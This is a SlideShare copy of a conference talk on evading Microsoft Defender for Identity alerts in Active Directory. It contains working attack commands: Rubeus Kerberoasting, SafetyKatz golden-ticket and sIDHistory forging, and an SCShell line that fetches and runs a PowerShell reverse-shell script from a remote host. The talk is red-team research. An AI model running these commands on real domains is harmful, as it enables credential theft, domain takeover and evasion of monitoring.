SlideShare a Scribd company logo
0wn-premises: Bypassing
Microsoft Defender for Identity
Nikhil Mittal
1
0wn Premises: Bypassing MDI
AlteredSecurity
About me
◎ Twitter - @nikhil_mitt
◎ Founder of Altered Security - alteredsecurity.com
◎ GitHub - github.com/samratashok/
◎ Creator of Nishang, Deploy-Deception, RACE toolkit and
more
◎ Interested in Active Directory and Azure security
◎ Previous Talks and/or Trainings
○ DEF CON, BlackHat, BruCON and more.
2
0wn Premises: Bypassing MDI
AlteredSecurity
Agenda
◎ Introduction to MDI
◎ Alerts
◎ Bypassing existing Alerts
◎ Techniques that are not detected (no alerts)
◎ Abusing MDI Response Action
◎ Limitations of the research
3
0wn Premises: Bypassing MDI
AlteredSecurity
Microsoft Defender for Identity (MDI)
◎ Analyzes traffic and logs on domain controllers, builds
profiles for identities and then look for anomalies –
deviation from “normal” behavior.
4
0wn Premises: Bypassing MDI
AlteredSecurity
Alerts
◎ Recon phase
◎ Compromised credential phase
◎ Lateral Movement phase
◎ Domain dominance phase
◎ Exfiltration phase
Source: https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview
5
0wn Premises: Bypassing MDI
AlteredSecurity
Bypassing MDI
◎ MDI targets careless attackers!
○ Endpoint opsec is NOT the only opsec
○ Know your tools! Understand how they interact with DCs
○ Always assume that DCs are heavily monitored – Limit your interaction
with DCs!
6
0wn Premises: Bypassing MDI
AlteredSecurity
Bypassing MDI
◎ Question your TTPs and activity
○ Does traffic generated by my activity mix well with the existing traffic?
○ Am I using RC4 in place of AES?
○ Are my LDAP queries too specific?
○ Would the logs look similar to legit ones?
○ Are my Kerberos tickets compliant to Kerberos policy? Do my forged
tickets stand out?
○ How could I be more silent?
7
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Recon alerts
8
Alert Triggered by Bypass
Active Directory attributes
reconnaissance (LDAP)
Enumeration for RBCD, ‘Don’t
require preauth’ with LDAP
Filtering
Request all attributes and filter
offline. Avoid LDAP Filtering
User and Group membership
reconnaissance (SAMR)
Tools like net.exe Don’t use net.exe for enum :)
User and IP address
reconnaissance (SMB)
NetSessionEnum against the DC Avoid doing SMB Session
enumeration against DC
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Recon alerts
Active Directory attributes reconnaissance (LDAP)
◎ Bypass RBCD alert using AD Module (https://github.com/samratashok/ADModule)
Get-ADComputer -Filter * -Properties * |
?{$_.PrincipalsAllowedToDelegateToAccount -ne "$null"} | select
SamAccountName, PrincipalsAllowedToDelegateToAccount
9
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Compromised Credentials
10
Alert Triggered by Bypass
Honeytoken activity Use of account marked as
Honeytoken account
Look for user account attributes
like logonCount and
badPwdCount to find
honeytoken accounts
Suspected Kerberos SPN
Exposure
Requesting TGS tickets for
multiple SPNs e.g. “Rubeus
kerberoast”
Enumerate accounts (request
all attributes and filter offline)
with SPN and request one TGS
ticket at a time
Suspected AS-REP Roasting
attack
Requesting AS-REPs for
multiple users e.g. “Rubeus
asreproast”
Enumeration of users with
Preauth disabled
Enumerate accounts (request
all attributes and filter offline)
with preauth disabled and
request one AS-REP at a time
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Compromised Credentials
Suspected Kerberos SPN Exposure
◎ Enumerate using PowerView or ADModule and request one TGS ticket at a
time
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName
Rubeus.exe kerberoast /user:targetaccount /simple /rc4opsec
11
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass - Suspected Kerberos SPN Exposure
12
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Lateral Movement
13
Alert Triggered by Bypass
Suspected identity theft
(pass- the-ticket)
Reuse of TGT from more than
one machine
Was NOT very reliably triggered
during testing
Suspected overpass-the-
hash attack (Kerberos)
No previous logon on a
machine
Could not bypass alert for ‘no
previous logon’
No more encryption downgrade
alert on use of RC4/NTLM hash but
still use AES keys
Suspected rogue Kerberos
certificate usage
No previous use of certificate
on a machine
Was NOT very reliably triggered
during testing
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
14
Alert Triggered by Bypass
Remote code execution attempt Use of PSExec, Remote WMI, WinRM
(PSRemoting) and service creation
Code execution by modifying existing
service (tools like SCShell)
Suspected DCSync attack Replication request from a machine
that is not a DC
Use DC machine account, TGT or
sIDHistory
Principals that have replication rights
like DCs, Enterprise DCs, Azure AD
Connect, Sharepoint admins etc.
Suspected Golden Ticket usage
(encryption downgrade)
Use of NTLM hash (RC4) of the krbtgt
account
Use AES256 or AES 128 key of the
krbtgt account
Suspected Golden Ticket usage
(nonexistent account)
Forging TGT for a nonexistent
account
Always use a valid and active DA
account
Suspected Golden Ticket usage (time
anomaly)
Use of TGT for longer than the value
specified in Kerberos Policy
Enumerate the Kerberos Policy and
make sure the forged ticket complies
with settings
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Remote Code Execution Attempt
◎ Using AES keys for Overpass-the-hash and using SCShell
(https://github.com/Mr-Un1k0d3r/SCShell) for modifying an existing service
◎ SCShell.exe dcorp-dc XblAuthManager "C:WindowsSystem32cmd.exe /c
powershell iex (iwr -UseBasicParsing http://<IP>/Invoke-
PowerShellTcp.ps1)“
Note that .NET assembly loader in place of PowerShell work just fine too!
15
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass - Remote Code Execution Attempt
16
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected DCSync Attack
◎ Use Principals that have replication rights - Domain Controllers and
Enterprise Domain Controllers groups always have replication rights!
◎ Run DCSync using credentials/Silver ticket/TGT of DC or having sIDHistory
of Domain Controllers or Enterprise Domain Controllers to avoid
detection.
17
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected DCSync Attack
◎ Silver ticket using DC machine account
○ Need NTLM hash/AES keys of the DC. Usually, after getting DA privileges
◎ TGT of DC machine account
○ Abusing unconstrained delegation with coercion
◎ sIDHistory of DC - Forging a TGT with sIDHistory of DCs and Enterprise DCs
Safetykatz.exe '"kerberos::golden /user:dc$ /domain: /sid: /groups:516
/sids:ForestRootSID-516,S-1-5-9 /krbtgt: /ptt“’
◎ Find other prinicpals that have replication rights using PowerView
Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base
-ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get')} | ForEach-Object {$_ |
Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}
18
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass – Suspected DCSync Attack
19
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected Golden Ticket usage (encryption downgrade)/(nonexistent
account)/(time anomaly)
◎ MDI or not, it always makes sense to:
○ Enumerate the Kerberos Policy in the target environment
○ Use AES keys of krbtgt account
○ Use an existing and active target account
20
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected Golden Ticket usage (encryption downgrade)/(nonexistent
account)/(time anomaly)
◎ Look at logonCount and badPwdCount of a user
◎ Check the Kerberos Policy – Default is TGT lifetime of 10 hours and
Renewal time of 7 days
SafetyKatz.exe "kerberos::golden /User:Administrator /domain: /sid:
/aes256:AES_of_krbtgt /startoffset:0 /endin:600 /renewmax:10080
/ptt" "exit"
21
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass – Suspected Golden Ticket usage (encryption
downgrade)/(nonexistent account)/(time anomaly)
22
0wn Premises: Bypassing MDI
AlteredSecurity
Techniques that are not detected (no alerts)
◎ Diamond Ticket
◎ Silver Ticket
◎ Delegation configuration
◎ UserAccountControl changes like setting SPN, disabling PreAuth etc.
◎ Changes to AdminSDHolder
◎ New SSPs
◎ Addition of Replication Rights
◎ Many of these are known since the time of Microsoft ATA -
https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination
23
0wn Premises: Bypassing MDI
AlteredSecurity
Abusing MDI Response Action
◎ A user with Security Administrator role can reset password of a user that has a path to domain
admin.
◎ In case of Hybrid Identity, DA compromise may lead to Global Administrator compromise!
◎ https://techcommunity.microsoft.com/t5/security-compliance-and-identity/microsoft-defender-for-identity-response-actions/ba-p/3271716
24
0wn Premises: Bypassing MDI
AlteredSecurity
Limitations of the research
◎ Only alerts related to functionality abuse are tested.
◎ Noisy attacks (brute-force or patched vulnerabilities) are
not tested.
◎ No testing for ADFS.
◎ Majority of testing done in a lab environment. Only a couple
of production environments tested.
◎ Coupling up MDI with other security solutions would
produce better results in terms of detection.
25
0wn Premises: Bypassing MDI
AlteredSecurity
Thank you!
◎ Questions?
◎ Contact - @nikhil_mitt
◎ nikhil@alteredsecurity.com
26

More Related Content

What's hot

I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
DirkjanMollema
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active Directory
Will Schroeder
 
Troopers 19 - I am AD FS and So Can You
Troopers 19 - I am AD FS and So Can YouTroopers 19 - I am AD FS and So Can You
Troopers 19 - I am AD FS and So Can You
Douglas Bienstock
 
DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting Revisited
Will Schroeder
 
Six Degrees of Domain Admin - BloodHound at DEF CON 24
Six Degrees of Domain Admin - BloodHound at DEF CON 24Six Degrees of Domain Admin - BloodHound at DEF CON 24
Six Degrees of Domain Admin - BloodHound at DEF CON 24
Andy Robbins
 
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
An ACE in the Hole - Stealthy Host Persistence via Security DescriptorsAn ACE in the Hole - Stealthy Host Persistence via Security Descriptors
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
Will Schroeder
 
PowerShell for Practical Purple Teaming
PowerShell for Practical Purple TeamingPowerShell for Practical Purple Teaming
PowerShell for Practical Purple Teaming
Nikhil Mittal
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
Nikhil Mittal
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
Petros Koutroumpis
 
Not a Security Boundary
Not a Security BoundaryNot a Security Boundary
Not a Security Boundary
Will Schroeder
 
Forging Trusts for Deception in Active Directory
Forging Trusts for Deception in Active DirectoryForging Trusts for Deception in Active Directory
Forging Trusts for Deception in Active Directory
Nikhil Mittal
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On Lab
Teymur Kheirkhabarov
 
How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your Network
Sqrrl
 
RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory Dominance
Nikhil Mittal
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
Jason Lang
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active Directory
Will Schroeder
 
The Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to CompromiseThe Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to Compromise
Will Schroeder
 
Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7
Teymur Kheirkhabarov
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
Teymur Kheirkhabarov
 

What's hot (20)

I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active Directory
 
Troopers 19 - I am AD FS and So Can You
Troopers 19 - I am AD FS and So Can YouTroopers 19 - I am AD FS and So Can You
Troopers 19 - I am AD FS and So Can You
 
DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting Revisited
 
Six Degrees of Domain Admin - BloodHound at DEF CON 24
Six Degrees of Domain Admin - BloodHound at DEF CON 24Six Degrees of Domain Admin - BloodHound at DEF CON 24
Six Degrees of Domain Admin - BloodHound at DEF CON 24
 
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
An ACE in the Hole - Stealthy Host Persistence via Security DescriptorsAn ACE in the Hole - Stealthy Host Persistence via Security Descriptors
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
 
PowerShell for Practical Purple Teaming
PowerShell for Practical Purple TeamingPowerShell for Practical Purple Teaming
PowerShell for Practical Purple Teaming
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
 
Not a Security Boundary
Not a Security BoundaryNot a Security Boundary
Not a Security Boundary
 
Forging Trusts for Deception in Active Directory
Forging Trusts for Deception in Active DirectoryForging Trusts for Deception in Active Directory
Forging Trusts for Deception in Active Directory
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On Lab
 
How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your Network
 
RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory Dominance
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
 
ReCertifying Active Directory
ReCertifying Active DirectoryReCertifying Active Directory
ReCertifying Active Directory
 
The Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to CompromiseThe Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to Compromise
 
Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 

Similar to 0wn-premises: Bypassing Microsoft Defender for Identity

DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defenseDEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
Felipe Prado
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Shakacon
 
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi SassiInSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
Yossi Sassi
 
Hacktive Directory Forensics - HackCon18, Oslo
Hacktive Directory Forensics - HackCon18, OsloHacktive Directory Forensics - HackCon18, Oslo
Hacktive Directory Forensics - HackCon18, Oslo
Yossi Sassi
 
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
ScyllaDB
 
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More SecureLow Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
MongoDB
 
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
MongoDB
 
Ace Up the Sleeve
Ace Up the SleeveAce Up the Sleeve
Ace Up the Sleeve
Will Schroeder
 
Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018
Paula Januszkiewicz
 
Information security programming in ruby
Information security programming in rubyInformation security programming in ruby
Information security programming in ruby
Hiroshi Nakamura
 
Clean pragmatic architecture @ devflix
Clean pragmatic architecture @ devflixClean pragmatic architecture @ devflix
Clean pragmatic architecture @ devflix
Victor Rentea
 
XP Days 2019: First secret delivery for modern cloud-native applications
XP Days 2019: First secret delivery for modern cloud-native applicationsXP Days 2019: First secret delivery for modern cloud-native applications
XP Days 2019: First secret delivery for modern cloud-native applications
Vlad Fedosov
 
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
cgmonroe
 
Vijayanirmala a_community_builders_guidebook_for_securing_your_secrets
Vijayanirmala a_community_builders_guidebook_for_securing_your_secretsVijayanirmala a_community_builders_guidebook_for_securing_your_secrets
Vijayanirmala a_community_builders_guidebook_for_securing_your_secrets
VijayaNirmalaGopal
 
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
Andrey Devyatkin
 
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB
 
Achieving compliance With MongoDB Security
Achieving compliance With MongoDB Security Achieving compliance With MongoDB Security
Achieving compliance With MongoDB Security
Mydbops
 
Docker Security in Production Overview
Docker Security in Production OverviewDocker Security in Production Overview
Docker Security in Production Overview
Delve Labs
 
Plam16 jan
Plam16 janPlam16 jan
Plam16 jan
Jan Lindström
 
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Michael Man
 

Similar to 0wn-premises: Bypassing Microsoft Defender for Identity (20)

DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defenseDEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
 
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi SassiInSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
 
Hacktive Directory Forensics - HackCon18, Oslo
Hacktive Directory Forensics - HackCon18, OsloHacktive Directory Forensics - HackCon18, Oslo
Hacktive Directory Forensics - HackCon18, Oslo
 
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
 
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More SecureLow Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
 
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
 
Ace Up the Sleeve
Ace Up the SleeveAce Up the Sleeve
Ace Up the Sleeve
 
Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018
 
Information security programming in ruby
Information security programming in rubyInformation security programming in ruby
Information security programming in ruby
 
Clean pragmatic architecture @ devflix
Clean pragmatic architecture @ devflixClean pragmatic architecture @ devflix
Clean pragmatic architecture @ devflix
 
XP Days 2019: First secret delivery for modern cloud-native applications
XP Days 2019: First secret delivery for modern cloud-native applicationsXP Days 2019: First secret delivery for modern cloud-native applications
XP Days 2019: First secret delivery for modern cloud-native applications
 
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
 
Vijayanirmala a_community_builders_guidebook_for_securing_your_secrets
Vijayanirmala a_community_builders_guidebook_for_securing_your_secretsVijayanirmala a_community_builders_guidebook_for_securing_your_secrets
Vijayanirmala a_community_builders_guidebook_for_securing_your_secrets
 
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
 
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
 
Achieving compliance With MongoDB Security
Achieving compliance With MongoDB Security Achieving compliance With MongoDB Security
Achieving compliance With MongoDB Security
 
Docker Security in Production Overview
Docker Security in Production OverviewDocker Security in Production Overview
Docker Security in Production Overview
 
Plam16 jan
Plam16 janPlam16 jan
Plam16 jan
 
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
 

More from Nikhil Mittal

Hacked? Pray that the Attacker used PowerShell
Hacked? Pray that the Attacker used PowerShellHacked? Pray that the Attacker used PowerShell
Hacked? Pray that the Attacker used PowerShell
Nikhil Mittal
 
Workshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration Testers
Nikhil Mittal
 
Continuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friendsContinuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friends
Nikhil Mittal
 
Client side attacks using PowerShell
Client side attacks using PowerShellClient side attacks using PowerShell
Client side attacks using PowerShell
Nikhil Mittal
 
Powerpreter: Post Exploitation like a Boss
Powerpreter: Post Exploitation like a BossPowerpreter: Post Exploitation like a Boss
Powerpreter: Post Exploitation like a Boss
Nikhil Mittal
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration Testers
Nikhil Mittal
 
Kautilya: Teensy beyond shell
Kautilya: Teensy beyond shellKautilya: Teensy beyond shell
Kautilya: Teensy beyond shell
Nikhil Mittal
 
Teensy Programming for Everyone
Teensy Programming for EveryoneTeensy Programming for Everyone
Teensy Programming for Everyone
Nikhil Mittal
 
More fun using Kautilya
More fun using KautilyaMore fun using Kautilya
More fun using Kautilya
Nikhil Mittal
 
Hacking the future with USB HID
Hacking the future with USB HIDHacking the future with USB HID
Hacking the future with USB HID
Nikhil Mittal
 
Owning windows 8 with human interface devices
Owning windows 8 with human interface devicesOwning windows 8 with human interface devices
Owning windows 8 with human interface devices
Nikhil Mittal
 

More from Nikhil Mittal (11)

Hacked? Pray that the Attacker used PowerShell
Hacked? Pray that the Attacker used PowerShellHacked? Pray that the Attacker used PowerShell
Hacked? Pray that the Attacker used PowerShell
 
Workshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration Testers
 
Continuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friendsContinuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friends
 
Client side attacks using PowerShell
Client side attacks using PowerShellClient side attacks using PowerShell
Client side attacks using PowerShell
 
Powerpreter: Post Exploitation like a Boss
Powerpreter: Post Exploitation like a BossPowerpreter: Post Exploitation like a Boss
Powerpreter: Post Exploitation like a Boss
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration Testers
 
Kautilya: Teensy beyond shell
Kautilya: Teensy beyond shellKautilya: Teensy beyond shell
Kautilya: Teensy beyond shell
 
Teensy Programming for Everyone
Teensy Programming for EveryoneTeensy Programming for Everyone
Teensy Programming for Everyone
 
More fun using Kautilya
More fun using KautilyaMore fun using Kautilya
More fun using Kautilya
 
Hacking the future with USB HID
Hacking the future with USB HIDHacking the future with USB HID
Hacking the future with USB HID
 
Owning windows 8 with human interface devices
Owning windows 8 with human interface devicesOwning windows 8 with human interface devices
Owning windows 8 with human interface devices
 

Recently uploaded

FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
Product School
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
Prayukth K V
 
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
